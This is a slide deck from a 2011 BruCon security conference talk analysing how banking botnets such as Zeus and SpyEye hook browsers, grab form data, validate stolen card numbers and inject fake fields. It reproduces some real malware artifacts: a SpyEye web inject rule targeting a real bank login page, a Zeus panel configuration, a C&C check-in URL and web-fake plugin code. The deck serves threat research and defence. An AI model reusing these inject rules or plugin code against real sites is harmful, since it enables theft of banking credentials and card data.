Botnets and Browsers
Brothers in the *Ghost Shell*

BruCon Security/Hacking Conference
Brussels . 19-20 September, 2011

Aditya K Sood (Security Practitioner)

SecNiche Security | Department of Computer Science and Engineering
Michigan State University
Whoami!

- **Aditya K Sood**
  - Founder, SecNiche Security Labs
  - Independent Security Consultant, Researcher and Practitioner
  - Worked previously for Armorize, Coseinc and KPMG
  - Active Speaker at Security conferences
  - Written Content – Virus Bulletin/
    ISSA/ISACA/CrossTalk/HITB/Hakin9/Elsevier NESE|CFS
  - LinkedIn: [http://www.linkedin.com/in/adityaks](http://www.linkedin.com/in/adityaks)
  - PhD Candidate at Michigan State University
    - [http://www.cse.msu.edu/~soodadit](http://www.cse.msu.edu/~soodadit)
Overview and Disclaimer

- Benchmark
  - This talk discusses about the infection model of browsers and bots
  - Botnets have many capabilities. Our target is only browsers and bots.
    - Mainly exploitation of browsers.
  - This talk is not about simple botnet commands. Sorry!
  - Scope is third generation botnets and browser manipulation
  - This research relates to my own efforts and does not provide the view of any of my employers.
Agenda

- Walking through the Agenda
  - Browser Malware Taxonomy
  - Bots & Browsers – Collaborative Design
  - Bots & Browsers – Exploitation Paradigm
  - Browser/ Bot – Web Injects & Web Fakes
  - Conclusion
World Wide Web - Problem
# Browser Malware Taxonomy #
Browser Malware Taxonomy

- Class A – Browser Malware

Browser Malware Taxonomy

- Class B – Browser Malware

Browser Malware Taxonomy

- Class C – Browser Malware

Infection Model – Malware Serving

- Exploiting Web vulnerabilities (XSS/SQL)
  - Obfuscated Code Injected
    - JavaScript eval() – The Evil Machine
      - Browser DOM Calls
        - Rendered Interactive Frames
          - Pointed to Malicious Domain
Drive by Downloads – Insidious Infection

1. Browser – Loads Malicious URL
2. Vulnerability in Browser is Exploited
3. Exploits trigger Shellcode
4. Malware Binary Dropped
5. Parasitic Infection Occurs in System
6. Malware Installed and Connect Back
# Browser/ Bot – Collaborative Design #
Browsers → Botnets: SDK

- Custom Designed SDK
  - Botnets use self build SDK for infection purposes
  - Browser communication
    - Bots use the SDK functions with plugins to communicate back to C&C using browser interface
  - Concept of Bot Development Kit (BDT) – as similar to SDK
  - Example:
    - SpyEye BDT

SpyEye Plugin's SDK

- Introduction
- API
  - Calling convention
  - Init
  - Start
  - Stop
  - TakeGateToCollector
  - TakeGateToCollector2
  - TakeBotGuid
  - TakeBotPath
  - TakeBotVersion
  - GetState
  - KeepAlive
  - IsGlobal
  - Callback_OnBeforeProcessUrl
  - Callback_OnBeforeLoadPage3
  - Callback_OnAfterLoadingPage
  - Callback_ChangePostRequest
  - FreeMem
  - TakeGetPage
  - TakeGetPage2
  - TakeFreeMem
  - Callback_WS2_32_send
  - TakeConfigCrc32Callback
  - TakeBotExeMd5Callback
  - TakePluginsListCallback
  - TakeMainCpGateOutputCallback
  - MainCpGateInput
  - TakeUpdateBotExe
  - TakeUpdateConfig
  - TakeStartExe
- Shellcodes - low-level plugins
- FAQ
  - q: How to implement webfakes?
  - q: Why do I need a customconnector plugin?
Bots and Custom Connector Plugin

- **Design of Plugins**
  - Bot requires separate plugin to communicate back with the C&C server
  - Bot sends critical information through GET requests

- **Why Plugin is Used?**
  - Provides modular control over the bots
  - Update the main bot executable present on the victim machine
  - Update the bot configuration directly through admin panel
  - Start/Stop for a bot plugin – Depends on the availability

- **What Type of Information?**
  - gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector
Bots and Custom Connector Plugin

- Design of Plugins
  - API in Action
    - TakeBotGuid / TakeBotVersion / TakeConfigCrc32Callback
    - TakeBotExeMd5Callback / TakePluginsListCallback

![Diagram showing the interaction between Gate.php, Custom Connector Plugin, SpyEye Bot, Input – Main Panel, and Output – Main Panel]
Custom Connector Plugin

▪ What Lies Beneath ?
  • A mediator between bot and the main admin panel
  • Good enough to make decisions whether to send request to C&C or not
  • Generates encryption based channel between C&C and itself
  • Very productive for creating decentralized botnet based on plugins

▪ Operations !
  • Update bot configuration - UPDATE_CONFIG
  • Update bot executable - UPDATE
  • Manage plugins – PLUGIN
  • Load third-party exe - LOAD
Bot – Custom Connector in Action
# Browser/ Bot – Exploitation Paradigm #
Reality of the Bots

- Inside Bot - Characteristics
  - Similar working to ring 3 rootkit
    - Hooking and hijacking in userland space
    - Perform injections in the web processes
  - Hooks HTTP communication interface
    - Exploit browsers - on the fly content injections
  - Infection = {Bots + Plugins}
Man In the Browser (MITB)

- The Reality of MITB
  - Malware (bot/trojan) having an ability to infect victim browsers
  - Capable enough to modify web pages, perform non legitimate transactions
  - Invisible to users and browsers
  - Steal the credit card number efficiently
  - Spying on browser sessions

Browser – User Agent Fingerprinting

- User Agent Fingerprinting
  - Detecting the state of running browser in the system
  - Provides plethora of information about browser versions
    - Typically requires to serve specific exploits for downloading bots

User visits a malware domain

Browser sends a User Agent string

Malware scans the User Agent string

Malware exploits the browser

Malware detects the browser version
## Browser – User Agents

<table>
<thead>
<tr>
<th><strong>Firefox 3.6.12</strong></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Mozilla</strong></td>
<td>MozillaProductToken. It's a Mozilla based user agent</td>
</tr>
<tr>
<td><strong>5.0</strong></td>
<td>Mozilla Version</td>
</tr>
<tr>
<td><strong>Windows</strong></td>
<td>Platform</td>
</tr>
<tr>
<td><strong>U</strong></td>
<td>Security values:</td>
</tr>
<tr>
<td></td>
<td>• N for no security</td>
</tr>
<tr>
<td></td>
<td>• U for strong security</td>
</tr>
<tr>
<td></td>
<td>• I for weak security</td>
</tr>
<tr>
<td><strong>Windows NT 6.0</strong></td>
<td>Operating System:</td>
</tr>
<tr>
<td></td>
<td>Windows Vista</td>
</tr>
<tr>
<td><strong>en-US</strong></td>
<td>Language Tag, indicates the language for which the client had been localized (e.g. menus and buttons in the user interface)</td>
</tr>
<tr>
<td></td>
<td>en-US = 英语 - United States</td>
</tr>
<tr>
<td><strong>rv:1.9.2.12</strong></td>
<td>CVS Branch Tag</td>
</tr>
<tr>
<td></td>
<td>The version of Gecko being used in the browser</td>
</tr>
<tr>
<td><strong>Gecko</strong></td>
<td>Gecko engine inside</td>
</tr>
<tr>
<td><strong>20101026</strong></td>
<td>Build Date:</td>
</tr>
<tr>
<td></td>
<td>the date the browser was built</td>
</tr>
<tr>
<td><strong>Firefox</strong></td>
<td>Name:</td>
</tr>
<tr>
<td></td>
<td>Firefox</td>
</tr>
<tr>
<td><strong>3.6.12</strong></td>
<td>Version</td>
</tr>
<tr>
<td><strong>.NET CLR 3.5.30729</strong></td>
<td>.NET framework</td>
</tr>
<tr>
<td></td>
<td>Version : 3.5.30729</td>
</tr>
<tr>
<td><strong>.NET4.0C</strong></td>
<td>.NET framework</td>
</tr>
<tr>
<td></td>
<td>Version : 4.0 Client Profile</td>
</tr>
</tbody>
</table>
### Real Time Example: Browser Sniffing

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>3647</td>
<td>2012.43602</td>
<td>192.168.179.147</td>
<td>192.168.179.147</td>
<td>TCP</td>
<td>60828 &gt; https [FIN, ACK] Seq=85 Ack=1248196167 Win=64240 Len=0</td>
</tr>
<tr>
<td>3648</td>
<td>2012.43683</td>
<td>192.168.179.147</td>
<td>192.168.179.147</td>
<td>TCP</td>
<td>https &gt; 60828 [ACK] Seq=1248196167 Ack=86 Win=64239 Len=0</td>
</tr>
<tr>
<td>3655</td>
<td>2017.18910</td>
<td>192.168.179.147</td>
<td>192.168.179.147</td>
<td>TCP</td>
<td>fnet-remote-ui &gt; http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM</td>
</tr>
<tr>
<td>3656</td>
<td>2017.34531</td>
<td>192.168.179.147</td>
<td>192.168.179.147</td>
<td>TCP</td>
<td>http &gt; fnet-remote-ui [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460</td>
</tr>
<tr>
<td>3657</td>
<td>2017.34611</td>
<td>192.168.179.147</td>
<td>192.168.179.147</td>
<td>TCP</td>
<td>fnet-remote-ui &gt; http [SYN] Seq=1 Ack=1 Win=64240 Len=0</td>
</tr>
<tr>
<td>3658</td>
<td>2017.34655</td>
<td>192.168.179.147</td>
<td>192.168.179.147</td>
<td>HTTP</td>
<td>GET /__extraweb__authen HTTP/1.1</td>
</tr>
<tr>
<td>3659</td>
<td>2017.34683</td>
<td>192.168.179.147</td>
<td>192.168.179.147</td>
<td>TCP</td>
<td>http &gt; fnet-remote-ui [ACK] Seq=1 Ack=839 Win=64240 Len=0</td>
</tr>
</tbody>
</table>

*Expert Info (Chat/Sequence): GET /__extraweb__authen HTTP/1.1*

**Request Method:** GET  
**Request URI:** /__extraweb__authen  
**Request Version:** HTTP/1.1  
**Host:** [redacted]  
**User-Agent:** Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20100112 Firefox/3.6.18  
**Accept:** text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
**Accept-Language:** en-us;en;q=0.5  
**Accept-Encoding:** gzip, deflate  
**Accept-Charset:** ISO-8859-1,utf-8;q=0.7,*;q=0.7  
**Keep-Alive:** 115  
**Connection:** keep-alive  

[truncated] **Cookie:** EXTRAWEB_REFERER=%252Fpreauth%252Fsniffer.js; test=true; EPC_MI=%26active%3A0%26win%3A1%26win32%3A1%26platform%3Afpwin%26name%3Anotepad;
Real Time Example: Browser Sniffing

// Attempts to discover what operating system the client is using.

function discoverOS() {

    // What platform are we on?
    isWin = ((userAgent.indexOf("win") !== -1) || (userAgent.indexOf("16bit") !== -1));
    isWin95 = ((userAgent.indexOf("win95") !== -1) || (userAgent.indexOf("windows 95") !== -1));
    isWin16 = ((userAgent.indexOf("win16") !== -1) || (userAgent.indexOf("16bit") !== -1) || (userAgent.indexOf("windows 3.1") !== -1) || (userAgent.indexOf("windows 16-bit") !== -1));
    isWin31 = ((userAgent.indexOf("windows 3.1") !== -1) || (userAgent.indexOf("win16") !== -1) || (userAgent.indexOf("windows 16-bit") !== -1));
    isWinME = ((userAgent.indexOf("win 9x 4.90") !== -1));
    isWin2k = ((userAgent.indexOf("windows nt 5.0") !== -1) || (userAgent.indexOf("windows 2000") !== -1));
    isWinXP = ((userAgent.indexOf("windows nt 5.1") !== -1) || (userAgent.indexOf("windows xp") !== -1));
    isWinVista = (userAgent.indexOf("windows nt 6.0") !== -1);
    isWin7 = (userAgent.indexOf("windows nt 6.1") !== -1);
    isWin64 = ((userAgent.indexOf("wow64") !== -1) || (userAgent.indexOf("win64") !== -1));

    // NOTE: Reliable detection of Win98 with Navigator 4.x and below may not be possible since you just get "Windows" in the user-agent.
    isWin98 = ((userAgent.indexOf("win98") !== -1) || (userAgent.indexOf("windows 98") !== -1));
    isWinNT = ((userAgent.indexOf("winnt") !== -1) || (userAgent.indexOf("windows nt") !== -1) & & !isWinXP);
    isWinCE = ((userAgent.indexOf("wince") !== -1) || (userAgent.indexOf("windows ce") !== -1) || (userAgent.indexOf("windowsce") !== -1));
Browser Exploit Packs and Bots

- Is This True Artifact?
  - Yes it is.
  - BEP’s are used in conjunction with botnets
  - On successful exploitation, bot is dropped onto the victim machine
  - Harnessing the power of two different frameworks to deliver malware
  - Some traces have been seen of ZEUS (Botnet) + BlackHole (BEP)

```bash
$DBHOST = "localhost";
$DBNAME = "Zeus";
$DBUSER = "root";
$DBPASS = "pass";
$ADMINPW = "aaf4c61ddcc5e8a2dabede0f3b482cd9aaa9434d"; //SHA–1 Hash from your password
$ACTIVATION_PASSWORD = "suckit";
$BANTIME = 86400;
$SOUND = "Disabled";
$COUNTRIES = array("RU" => "asrfrwdogsfxvn.exe", "DE" => "asrfrwdogsfxvn.exe", "US" => "asrfrwdogsfxvn.exe");
```
Browser – Screen Scrapers

- Why?
  - Capturing screenshots from the victim machines during bank transactions
  - It is possible to capture whole system screenshots not only the browser activities
  - Provides additional support for bots for data exfiltration
  - Exploit the system level functions and generic modules

- How?
  - Mouse cursor is the reference point which is the center of the screenshot
  - Explicit rules are defined for capturing screenshots
  - Rules consist of following parameters
    - URL_MASK
    - WIDTH
    - HEIGHT
    - MINIMUM_CLICKS
    - MINIMUM_SECONDS
Browsers - Form Grabbing

- Why?
  - Keylogging produces plethora of data
  - Form grabbing – extracting data from the GET/POST requests
  - Based on the concept of hooking and DLL injection
  - Virtual Keyboards
    - Implements the form grabbing functionality to send POST requests
    - No real protection against malware
Browsers - Form Grabbing

- Facts and Reality
  - All the botnets (Banking, IRC etc) use this technique
  - Very hard to overcome the consequences
  - All browsers can be circumvented to execute non legitimate hooks
Why the Credit Card number stealing is a success?

- Bots are always successful in extracting credentials from the POST request
- Question – Aren’t bot make mistakes in extracting Credit Card (CC) numbers?
- Well, bots are very smart in nature. They use inbuilt CC plugins.
- CC Verification – The credit card number is verified against LUHN’s algorithm prior to send it to botnet database. Viola!

<table>
<thead>
<tr>
<th>Card Type</th>
<th>Prefix(es)</th>
<th>Active</th>
<th>Length</th>
<th>Validation</th>
<th>Symbol for coverage chart</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bankcard[3]</td>
<td>5610, 560221-560225</td>
<td>No</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>BC</td>
</tr>
<tr>
<td>China Union Pay</td>
<td>622 (622126-622925)</td>
<td>Yes</td>
<td>16, 17, 18, 19</td>
<td>unknown</td>
<td>CUP</td>
</tr>
<tr>
<td>Diners Club Carte Blanche</td>
<td>300-305</td>
<td>Yes</td>
<td>14</td>
<td>Luhn algorithm</td>
<td>DC-CB</td>
</tr>
<tr>
<td>Diners Club enRoute</td>
<td>2014, 2149</td>
<td>No</td>
<td>15</td>
<td>no validation</td>
<td>DC-eR</td>
</tr>
<tr>
<td>Diners Club International[4]</td>
<td>36</td>
<td>Yes</td>
<td>14</td>
<td>Luhn algorithm</td>
<td>DC-Int</td>
</tr>
<tr>
<td>JCB</td>
<td>35</td>
<td>Yes</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>JCB</td>
</tr>
<tr>
<td>JCB</td>
<td>1800, 2131</td>
<td>Yes</td>
<td>15</td>
<td>Luhn algorithm</td>
<td>JCB</td>
</tr>
<tr>
<td>Maestro (debit card)</td>
<td>5020, 5038, 6304, 6759</td>
<td>Yes</td>
<td>16, 18</td>
<td>Luhn algorithm</td>
<td>Mpes</td>
</tr>
<tr>
<td>MasterCard</td>
<td>51-55</td>
<td>Yes</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>MC</td>
</tr>
<tr>
<td>Solo (debit card)</td>
<td>6334, 6767</td>
<td>Yes</td>
<td>16, 18, 19</td>
<td>Luhn algorithm</td>
<td>Solo</td>
</tr>
<tr>
<td>Switch (debit card)</td>
<td>4903, 4905, 4911, 4936, 564182, 633110, 6333, 6759</td>
<td>Yes</td>
<td>16, 18, 19</td>
<td>Luhn algorithm</td>
<td>Switch</td>
</tr>
<tr>
<td>Visa Electron</td>
<td>417500, 4917, 4913</td>
<td>Yes</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>Visa</td>
</tr>
</tbody>
</table>
# Browser/ Bot – Web Injects & Web Fakes #
Web Injects – Infection on the Fly

- Web Injects
  - Injecting incoming request with malicious content
  - Web page is tampered which looks legitimate
  - Primary aim is to inject credential stealing forms and input tags
  - Similar concept is used to inject pointers to remote malware site
  - Concept of Third Generation Botnets (Give me your money 😊)

```html
set_url https://click.alfabank.ru/ALFAIBSR/ControllerServlet/*
data_before
<input class="text_login" type='password' name='password' />
data_after
<input class='text' type='text' name='ATN' size='13' value='' style='display:none' disabled>
<input class='text' type='text' name='PIN' size='13' value='' style='display:none' disabled>
<input class='text' type='text' name='EXP' size='13' value='' style='display:none' disabled>
```
Web Injects – How?

- Web Injects
  - Hooking
    - Long live exploitation technique
  - Browser Libraries
    - Hooking nspr4.dll and wininet.dll
      - IAT hooking, Inline hooking or through DLL injections.
    - Webinjexts.txt
      - Rule file used for defining injection metrics (discussed in next part)
      - Used for debugging purposes to test and verify the injections before the actual bot performs infection
      - The exploitation is done on the HTTP responses returning back form the sever

```cpp
//Find the address of t
HMODULE hLocKernel32 =
FARPROC hLocLoadLibrary

//Adjust token privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
```
Web Injects – Log Detection

Web Injects – Action
Web Inj ects – Metrics

- What is meant by GPH flags?
  - Exploitation and infection metrics
    - G - injection will be made only for the resources that are requested by the GET
    - P - injection will be made only for the resources that are requested by the POST
    - L - is a flag for grabbing content between the tags data_before and data_after inclusive
    - H – similar as L except the ripped content is not included and the contents of tags data_before and data_after
Web Injects – Zeus and SpyEye

- Web Injects
  - Sequence of metrics (as discussed earlier)
    - SpyEye – sequence should follow `data_before, data_inject, data_after`
    - Zeus – sequence does not matter
  - Injection content
    - SpyEye requires specific rules to be designed using `set_url`
    - Zeus primarily injects malicious Cascading Style Sheets (CSS) and JavaScripts (JS).
  - Source – bots
    - Zeus and SpyEye bots perform the requisite infection
    - Bot reads the configuration parameters using plugin interface
    - Browser’s HTTP communication channel is infected
Web Fakes

- Understanding Web Fakes
  - Plugins used to spoof the content in browsers
  - Supports both protocols HTTP/HTTPS
  - Based on the concept of internal URL redirection
  - All browsers are affected

- How?
  - Plugins use the defined metrics in the configuration file
    - URL_MASK
    - URL_REDIRECT
    - FLAGS
    - POST_BLACK_MASK
    - POST_WHITE_MASK
    - BLOCK_URL
    - WEBFAKE_NAME
    - UNBLOCK_URL
Web Fakes – Function Calls

54. DLEXPORT void Callback_OnBeforeLoadPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize)  
55. {
56.     if (!strstr(szUrl, "google")) {
57.         DebugWrite("Output : \n{ %s }\n", data);
58.         if (!checkmem_forread(lpszContent, sizeof(DWORD))) {
59.             DebugWrite("[ERROR] : Ahtung! : *lpszContent == 0x08X is not readable", *lpszContent);
60.             return;
61.         }
62.         *lpszContent = (PCHAR)malloc(sizeof(data));
63.         if (!*lpszContent) {
64.             DebugWrite("[ERROR] : Ahtung! : *lpszContent == NULL");
65.             return;
66.         }
67.         CopyMemory(*lpszContent, data, sizeof(data));
68.         *lpdwSize = sizeof(data);
69.     }  
70. }  
71. 

82. DLEXPORT void Callback_ProcessContentOfPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize)  
83. {
84.     if (strstr(szUrl, "google")) {
85.         DWORD dwMaxSize = 200000;
86.         if (dwMaxSize < strlen(szPageContent))
87.             return;
88.         *szOut = (PCHAR)malloc(dwMaxSize);
89.         if (!*szOut)
90.             return;
91.         ZeroMemory(*szOut, dwMaxSize);
92.         CopyMemory(*szOut, szPageContent, strlen(szPageContent));
93.         PCHAR szPos = strstr(*szOut, "porno");
94.         if (szPos) {
95.             CopyMemory(szPos, "xxxxx", 5);
96.         }
97.     *lpdwSize = strlen(szPageContent);
98. }
Web Fakes – Real Example
The Ghost (Exploitation) Shell Persists
Conclusion

- **So What!**
  - Third generation botnets success greatly depends on browsers
  - Browser has become the most predominant part of exploitation
  - Dropping bots using Drive by Downloads is an easy process
  - Hooking browser is not a big stake factor
  - Bot Development Kits (BDKs) are in action
  - Browser is the main window to the internet, so as to the risk
  - Hard to prevent malware that resides inside browsers
  - Plugins-Addons are also responsible for circumventing the browser security
  - Protection requires much more efforts than the present times
Questions / Thanks

- **BruCon Crew**
  - For all the support and help

- **SecNiche Security Labs**
  - All my team members for their cooperation

- **Contact**
  - LinkedIn – [http://www.linkedin.com/in/adityaks](http://www.linkedin.com/in/adityaks)
  - Twitter - @AdityaKSood